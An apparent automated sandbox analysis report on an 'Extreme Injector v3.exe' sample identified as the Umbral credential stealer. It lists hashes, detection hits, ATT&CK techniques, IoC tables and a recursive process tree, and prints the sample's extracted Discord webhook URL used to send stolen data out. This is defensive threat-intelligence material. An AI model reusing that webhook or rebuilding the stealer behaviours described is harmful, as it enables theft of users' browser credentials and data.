umbral | 261d6fc361222284586e133e152797651ecde629ac3243cf47dba5af1fa4c3cc

Analysis

max time kernel
148s
max time network
151s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
19-01-2025 14:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Extreme Injector v3.exe
Size

1.4MB
MD5

2290a5c6cfd6f8bd2e3ad188e7eafa05
SHA1

1b863031e8556e48fa63d233b768148d87dda7c4
SHA256

261d6fc361222284586e133e152797651ecde629ac3243cf47dba5af1fa4c3cc
SHA512

13310057c8f3e54a5c5c06b5976e6b97d2930191ee6c432e59faaf561968e6e6fa261021ffd2a08b040340f05ae878d7e46fdea4127032fb51fb0b0b2bdd82d7
SSDEEP

24576:PAOmi5Vm+lBnehvY2iPr93CeF1LH1Xt5QezP9tHtR9JSWmsMrlA18VnZAWQvKsoe:E4FdetMVCK1LVXXQezP3+Wgm18VeWouS

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1330303031618834494/9EbwLYdGRckxpwmC1x4tuNXcnptDOj3OQ10dKAGSqevucBbQ362A75MKfWoz9gAFomh6

Signatures

Detect Umbral payload 13 IoCs

resource	yara_rule
behavioral1/files/0x000d000000012257-5.dat	family_umbral
behavioral1/memory/1528-7-0x0000000000C00000-0x0000000000C40000-memory.dmp	family_umbral
behavioral1/memory/560-111-0x0000000001220000-0x0000000001260000-memory.dmp	family_umbral
behavioral1/memory/1968-207-0x0000000000030000-0x0000000000070000-memory.dmp	family_umbral
behavioral1/memory/3012-253-0x00000000012A0000-0x00000000012E0000-memory.dmp	family_umbral
behavioral1/memory/588-291-0x0000000000050000-0x0000000000090000-memory.dmp	family_umbral
behavioral1/memory/2832-325-0x00000000013D0000-0x0000000001410000-memory.dmp	family_umbral
behavioral1/memory/1712-437-0x0000000000390000-0x00000000003D0000-memory.dmp	family_umbral
behavioral1/memory/2324-549-0x0000000000C20000-0x0000000000C60000-memory.dmp	family_umbral
behavioral1/memory/2344-587-0x00000000012D0000-0x0000000001310000-memory.dmp	family_umbral
behavioral1/memory/1780-625-0x00000000003C0000-0x0000000000400000-memory.dmp	family_umbral
behavioral1/memory/3020-663-0x0000000000B90000-0x0000000000BD0000-memory.dmp	family_umbral
behavioral1/memory/2776-701-0x0000000000D20000-0x0000000000D60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1936	powershell.exe
868	powershell.exe
2136	powershell.exe
2588	powershell.exe
2660	powershell.exe
2264	powershell.exe
2676	powershell.exe
1872	powershell.exe
1980	powershell.exe
2252	powershell.exe
1824	powershell.exe
3028	powershell.exe
2620	powershell.exe
2900	powershell.exe
1776	powershell.exe
1628	powershell.exe
1304	powershell.exe
1988	powershell.exe
784	powershell.exe
2112	powershell.exe
2632	powershell.exe
2872	powershell.exe
2860	powershell.exe
1700	powershell.exe
2812	powershell.exe
2572	powershell.exe
1048	powershell.exe
2036	powershell.exe
2576	powershell.exe
496	powershell.exe
1732	powershell.exe
1032	powershell.exe
1868	powershell.exe
2916	powershell.exe
1660	powershell.exe
2944	powershell.exe
1956	powershell.exe
1560	powershell.exe
1668	powershell.exe
2576	powershell.exe
3016	powershell.exe
1632	powershell.exe
2812	powershell.exe
2464	powershell.exe
3064	powershell.exe
1296	powershell.exe
2900	powershell.exe
2260	powershell.exe
3032	powershell.exe
3068	powershell.exe
1496	powershell.exe
2040	powershell.exe
2544	powershell.exe
2636	powershell.exe
2564	powershell.exe
1628	powershell.exe
1620	powershell.exe
2740	powershell.exe
1824	powershell.exe
3004	powershell.exe
2744	powershell.exe
2212	powershell.exe
1028	powershell.exe
2780	powershell.exe

Drops file in Drivers directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Extreme Injector.exe

Executes dropped EXE 64 IoCs

pid	Process
1528	Extreme Injector.exe
2852	Extreme Injector.exe
2500	Extreme Injector.exe
2288	Extreme Injector.exe
1808	Extreme Injector.exe
884	Extreme Injector.exe
2988	Extreme Injector.exe
3040	Extreme Injector.exe
560	Extreme Injector.exe
1988	Extreme Injector.exe
2852	Extreme Injector.exe
2180	Extreme Injector.exe
1760	Extreme Injector.exe
1636	Extreme Injector.exe
2568	Extreme Injector.exe
1968	Extreme Injector.exe
784	Extreme Injector.exe
496	Extreme Injector.exe
3012	Extreme Injector.exe
2200	Extreme Injector.exe
2136	Extreme Injector.exe
316	Extreme Injector.exe
588	Extreme Injector.exe
1324	Extreme Injector.exe
2476	Extreme Injector.exe
1512	Extreme Injector.exe
2832	Extreme Injector.exe
2852	Extreme Injector.exe
2532	Extreme Injector.exe
2232	Extreme Injector.exe
1584	Extreme Injector.exe
1952	Extreme Injector.exe
2760	Extreme Injector.exe
1704	Extreme Injector.exe
2040	Extreme Injector.exe
2244	Extreme Injector.exe
2000	Extreme Injector.exe
1712	Extreme Injector.exe
2972	Extreme Injector.exe
2772	Extreme Injector.exe
1056	Extreme Injector.exe
1796	Extreme Injector.exe
3040	Extreme Injector.exe
2920	Extreme Injector.exe
2764	Extreme Injector.exe
2992	Extreme Injector.exe
1580	Extreme Injector.exe
2716	Extreme Injector.exe
1548	Extreme Injector.exe
2324	Extreme Injector.exe
688	Extreme Injector.exe
1324	Extreme Injector.exe
2344	Extreme Injector.exe
2672	Extreme Injector.exe
2852	Extreme Injector.exe
1820	Extreme Injector.exe
1780	Extreme Injector.exe
2952	Extreme Injector.exe
2704	Extreme Injector.exe
1004	Extreme Injector.exe
1240	Extreme Injector.exe
3060	Extreme Injector.exe
316	Extreme Injector.exe
1396	Extreme Injector.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 34 IoCs

Web Service

T1102

flow	ioc
16	discord.com
30	discord.com
79	discord.com
113	discord.com
119	discord.com
36	discord.com
50	discord.com
106	discord.com
112	discord.com
51	discord.com
57	discord.com
91	discord.com
92	discord.com
99	discord.com
120	discord.com
8	discord.com
9	discord.com
15	discord.com
64	discord.com
86	discord.com
98	discord.com
105	discord.com
22	discord.com
23	discord.com
37	discord.com
43	discord.com
78	discord.com
85	discord.com
29	discord.com
58	discord.com
65	discord.com
71	discord.com
72	discord.com
44	discord.com

Looks up external IP address via web service 18 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
117	ip-api.com
20	ip-api.com
48	ip-api.com
34	ip-api.com
41	ip-api.com
69	ip-api.com
110	ip-api.com
6	ip-api.com
13	ip-api.com
76	ip-api.com
83	ip-api.com
89	ip-api.com
96	ip-api.com
55	ip-api.com
62	ip-api.com
124	ip-api.com
27	ip-api.com
103	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 34 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2396	cmd.exe
2204	PING.EXE
1512	PING.EXE
2748	PING.EXE
1372	cmd.exe
1344	PING.EXE
2760	PING.EXE
2400	PING.EXE
608	PING.EXE
1228	PING.EXE
2124	cmd.exe
1692	cmd.exe
2380	PING.EXE
2616	cmd.exe
1044	cmd.exe
2004	cmd.exe
2948	PING.EXE
996	cmd.exe
572	cmd.exe
1508	PING.EXE
2224	PING.EXE
2080	cmd.exe
484	cmd.exe
2784	cmd.exe
1316	PING.EXE
2476	PING.EXE
2356	cmd.exe
2820	cmd.exe
3044	cmd.exe
2808	PING.EXE
2300	PING.EXE
1996	cmd.exe
1060	PING.EXE
2700	cmd.exe

Detects videocard installed 1 TTPs 17 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1344	wmic.exe
2704	wmic.exe
612	wmic.exe
1444	wmic.exe
1572	wmic.exe
1992	wmic.exe
2688	wmic.exe
2260	wmic.exe
2736	wmic.exe
1312	wmic.exe
2888	wmic.exe
1872	wmic.exe
2064	wmic.exe
1712	wmic.exe
1676	wmic.exe
792	wmic.exe
1732	wmic.exe

Runs ping.exe 1 TTPs 17 IoCs

Remote System Discovery

T1018

pid	Process
1508	PING.EXE
2400	PING.EXE
1316	PING.EXE
2204	PING.EXE
1060	PING.EXE
2300	PING.EXE
2808	PING.EXE
2948	PING.EXE
608	PING.EXE
1228	PING.EXE
2476	PING.EXE
2224	PING.EXE
1512	PING.EXE
2380	PING.EXE
2760	PING.EXE
2748	PING.EXE
1344	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2992	powershell.exe
2632	powershell.exe
3064	powershell.exe
2700	powershell.exe
1668	powershell.exe
2544	powershell.exe
1868	powershell.exe
2660	powershell.exe
2848	powershell.exe
1304	powershell.exe
2268	powershell.exe
2576	powershell.exe
2252	powershell.exe
2880	powershell.exe
3032	powershell.exe
1824	powershell.exe
496	powershell.exe
1988	powershell.exe
2216	powershell.exe
1296	powershell.exe
1144	powershell.exe
2916	powershell.exe
1824	powershell.exe
876	powershell.exe
2900	powershell.exe
3004	powershell.exe
784	powershell.exe
2112	powershell.exe
2684	powershell.exe
1660	powershell.exe
2564	powershell.exe
2812	powershell.exe
2872	powershell.exe
1732	powershell.exe
2336	powershell.exe
1496	powershell.exe
2944	powershell.exe
1560	powershell.exe
1032	powershell.exe
2744	powershell.exe
2860	powershell.exe
2572	powershell.exe
2812	powershell.exe
2588	powershell.exe
2212	powershell.exe
1776	powershell.exe
2900	powershell.exe
2324	powershell.exe
2264	powershell.exe
1028	powershell.exe
1936	powershell.exe
868	powershell.exe
3008	powershell.exe
2136	powershell.exe
2320	powershell.exe
1872	powershell.exe
1956	powershell.exe
2996	powershell.exe
2812	powershell.exe
1628	powershell.exe
1048	powershell.exe
2544	powershell.exe
2164	powershell.exe
1980	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1528	Extreme Injector.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeIncreaseQuotaPrivilege	2012	wmic.exe
Token: SeSecurityPrivilege	2012	wmic.exe
Token: SeTakeOwnershipPrivilege	2012	wmic.exe
Token: SeLoadDriverPrivilege	2012	wmic.exe
Token: SeSystemProfilePrivilege	2012	wmic.exe
Token: SeSystemtimePrivilege	2012	wmic.exe
Token: SeProfSingleProcessPrivilege	2012	wmic.exe
Token: SeIncBasePriorityPrivilege	2012	wmic.exe
Token: SeCreatePagefilePrivilege	2012	wmic.exe
Token: SeBackupPrivilege	2012	wmic.exe
Token: SeRestorePrivilege	2012	wmic.exe
Token: SeShutdownPrivilege	2012	wmic.exe
Token: SeDebugPrivilege	2012	wmic.exe
Token: SeSystemEnvironmentPrivilege	2012	wmic.exe
Token: SeRemoteShutdownPrivilege	2012	wmic.exe
Token: SeUndockPrivilege	2012	wmic.exe
Token: SeManageVolumePrivilege	2012	wmic.exe
Token: 33	2012	wmic.exe
Token: 34	2012	wmic.exe
Token: 35	2012	wmic.exe
Token: SeIncreaseQuotaPrivilege	2012	wmic.exe
Token: SeSecurityPrivilege	2012	wmic.exe
Token: SeTakeOwnershipPrivilege	2012	wmic.exe
Token: SeLoadDriverPrivilege	2012	wmic.exe
Token: SeSystemProfilePrivilege	2012	wmic.exe
Token: SeSystemtimePrivilege	2012	wmic.exe
Token: SeProfSingleProcessPrivilege	2012	wmic.exe
Token: SeIncBasePriorityPrivilege	2012	wmic.exe
Token: SeCreatePagefilePrivilege	2012	wmic.exe
Token: SeBackupPrivilege	2012	wmic.exe
Token: SeRestorePrivilege	2012	wmic.exe
Token: SeShutdownPrivilege	2012	wmic.exe
Token: SeDebugPrivilege	2012	wmic.exe
Token: SeSystemEnvironmentPrivilege	2012	wmic.exe
Token: SeRemoteShutdownPrivilege	2012	wmic.exe
Token: SeUndockPrivilege	2012	wmic.exe
Token: SeManageVolumePrivilege	2012	wmic.exe
Token: 33	2012	wmic.exe
Token: 34	2012	wmic.exe
Token: 35	2012	wmic.exe
Token: SeIncreaseQuotaPrivilege	2620	wmic.exe
Token: SeSecurityPrivilege	2620	wmic.exe
Token: SeTakeOwnershipPrivilege	2620	wmic.exe
Token: SeLoadDriverPrivilege	2620	wmic.exe
Token: SeSystemProfilePrivilege	2620	wmic.exe
Token: SeSystemtimePrivilege	2620	wmic.exe
Token: SeProfSingleProcessPrivilege	2620	wmic.exe
Token: SeIncBasePriorityPrivilege	2620	wmic.exe
Token: SeCreatePagefilePrivilege	2620	wmic.exe
Token: SeBackupPrivilege	2620	wmic.exe
Token: SeRestorePrivilege	2620	wmic.exe
Token: SeShutdownPrivilege	2620	wmic.exe
Token: SeDebugPrivilege	2620	wmic.exe
Token: SeSystemEnvironmentPrivilege	2620	wmic.exe
Token: SeRemoteShutdownPrivilege	2620	wmic.exe
Token: SeUndockPrivilege	2620	wmic.exe
Token: SeManageVolumePrivilege	2620	wmic.exe
Token: 33	2620	wmic.exe
Token: 34	2620	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 484	2272	Extreme Injector v3.exe	31
PID 2272 wrote to memory of 484	2272	Extreme Injector v3.exe	31
PID 2272 wrote to memory of 484	2272	Extreme Injector v3.exe	31
PID 2272 wrote to memory of 1528	2272	Extreme Injector v3.exe	32
PID 2272 wrote to memory of 1528	2272	Extreme Injector v3.exe	32
PID 2272 wrote to memory of 1528	2272	Extreme Injector v3.exe	32
PID 484 wrote to memory of 2848	484	Extreme Injector v3.exe	33
PID 484 wrote to memory of 2848	484	Extreme Injector v3.exe	33
PID 484 wrote to memory of 2848	484	Extreme Injector v3.exe	33
PID 484 wrote to memory of 2852	484	Extreme Injector v3.exe	34
PID 484 wrote to memory of 2852	484	Extreme Injector v3.exe	34
PID 484 wrote to memory of 2852	484	Extreme Injector v3.exe	34
PID 1528 wrote to memory of 2060	1528	Extreme Injector.exe	35
PID 1528 wrote to memory of 2060	1528	Extreme Injector.exe	35
PID 1528 wrote to memory of 2060	1528	Extreme Injector.exe	35
PID 1528 wrote to memory of 2992	1528	Extreme Injector.exe	37
PID 1528 wrote to memory of 2992	1528	Extreme Injector.exe	37
PID 1528 wrote to memory of 2992	1528	Extreme Injector.exe	37
PID 1528 wrote to memory of 2632	1528	Extreme Injector.exe	39
PID 1528 wrote to memory of 2632	1528	Extreme Injector.exe	39
PID 1528 wrote to memory of 2632	1528	Extreme Injector.exe	39
PID 2848 wrote to memory of 2916	2848	Extreme Injector v3.exe	41
PID 2848 wrote to memory of 2916	2848	Extreme Injector v3.exe	41
PID 2848 wrote to memory of 2916	2848	Extreme Injector v3.exe	41
PID 2848 wrote to memory of 2500	2848	Extreme Injector v3.exe	42
PID 2848 wrote to memory of 2500	2848	Extreme Injector v3.exe	42
PID 2848 wrote to memory of 2500	2848	Extreme Injector v3.exe	42
PID 1528 wrote to memory of 3064	1528	Extreme Injector.exe	43
PID 1528 wrote to memory of 3064	1528	Extreme Injector.exe	43
PID 1528 wrote to memory of 3064	1528	Extreme Injector.exe	43
PID 1528 wrote to memory of 2700	1528	Extreme Injector.exe	45
PID 1528 wrote to memory of 2700	1528	Extreme Injector.exe	45
PID 1528 wrote to memory of 2700	1528	Extreme Injector.exe	45
PID 2916 wrote to memory of 2512	2916	Extreme Injector v3.exe	47
PID 2916 wrote to memory of 2512	2916	Extreme Injector v3.exe	47
PID 2916 wrote to memory of 2512	2916	Extreme Injector v3.exe	47
PID 2916 wrote to memory of 2288	2916	Extreme Injector v3.exe	48
PID 2916 wrote to memory of 2288	2916	Extreme Injector v3.exe	48
PID 2916 wrote to memory of 2288	2916	Extreme Injector v3.exe	48
PID 1528 wrote to memory of 2012	1528	Extreme Injector.exe	49
PID 1528 wrote to memory of 2012	1528	Extreme Injector.exe	49
PID 1528 wrote to memory of 2012	1528	Extreme Injector.exe	49
PID 1528 wrote to memory of 2620	1528	Extreme Injector.exe	52
PID 1528 wrote to memory of 2620	1528	Extreme Injector.exe	52
PID 1528 wrote to memory of 2620	1528	Extreme Injector.exe	52
PID 1528 wrote to memory of 1200	1528	Extreme Injector.exe	54
PID 1528 wrote to memory of 1200	1528	Extreme Injector.exe	54
PID 1528 wrote to memory of 1200	1528	Extreme Injector.exe	54
PID 1528 wrote to memory of 1668	1528	Extreme Injector.exe	56
PID 1528 wrote to memory of 1668	1528	Extreme Injector.exe	56
PID 1528 wrote to memory of 1668	1528	Extreme Injector.exe	56
PID 1528 wrote to memory of 1732	1528	Extreme Injector.exe	58
PID 1528 wrote to memory of 1732	1528	Extreme Injector.exe	58
PID 1528 wrote to memory of 1732	1528	Extreme Injector.exe	58
PID 1528 wrote to memory of 1372	1528	Extreme Injector.exe	60
PID 1528 wrote to memory of 1372	1528	Extreme Injector.exe	60
PID 1528 wrote to memory of 1372	1528	Extreme Injector.exe	60
PID 1372 wrote to memory of 2380	1372	cmd.exe	62
PID 1372 wrote to memory of 2380	1372	cmd.exe	62
PID 1372 wrote to memory of 2380	1372	cmd.exe	62
PID 2512 wrote to memory of 2016	2512	Extreme Injector v3.exe	63
PID 2512 wrote to memory of 2016	2512	Extreme Injector v3.exe	63
PID 2512 wrote to memory of 2016	2512	Extreme Injector v3.exe	63
PID 2512 wrote to memory of 1808	2512	Extreme Injector v3.exe	64

Views/modifies file attributes 1 TTPs 18 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
536	attrib.exe
2208	attrib.exe
2772	attrib.exe
756	attrib.exe
2004	attrib.exe
2060	attrib.exe
2996	attrib.exe
2740	attrib.exe
2660	attrib.exe
2276	attrib.exe
1688	attrib.exe
896	attrib.exe
1728	attrib.exe
1428	attrib.exe
2348	attrib.exe
1700	attrib.exe
2436	attrib.exe
1004	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
"C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
  "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:484
- - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
    "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
      "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2512
      - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        6⤵
        
        PID:2016
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        7⤵
        
        PID:588
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        8⤵
        
        PID:2856
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        9⤵
        
        PID:1928
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        10⤵
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        11⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        12⤵
        
        PID:2768
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        13⤵
        
        PID:2060
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        14⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        15⤵
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        16⤵
        
        PID:2944
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        17⤵
        
        PID:2956
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        18⤵
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        19⤵
        
        PID:1224
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        20⤵
        
        PID:3008
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        21⤵
        
        PID:2640
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        22⤵
        
        PID:1712
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        23⤵
        
        PID:2552
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        24⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        25⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        26⤵
        
        PID:784
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        27⤵
        
        PID:760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        28⤵
        
        PID:2544
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        29⤵
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        30⤵
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        31⤵
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        32⤵
        
        PID:1776
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        33⤵
        
        PID:688
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        34⤵
        
        PID:388
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        35⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        36⤵
        
        PID:1868
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        37⤵
        
        PID:2300
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        38⤵
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        39⤵
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        40⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        41⤵
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        42⤵
        
        PID:2844
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        43⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        44⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        45⤵
        
        PID:2576
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        46⤵
        
        PID:2064
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        47⤵
        
        PID:1396
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        48⤵
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        49⤵
        
        PID:1228
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        50⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        51⤵
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        52⤵
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        53⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        54⤵
        
        PID:1588
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        55⤵
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        
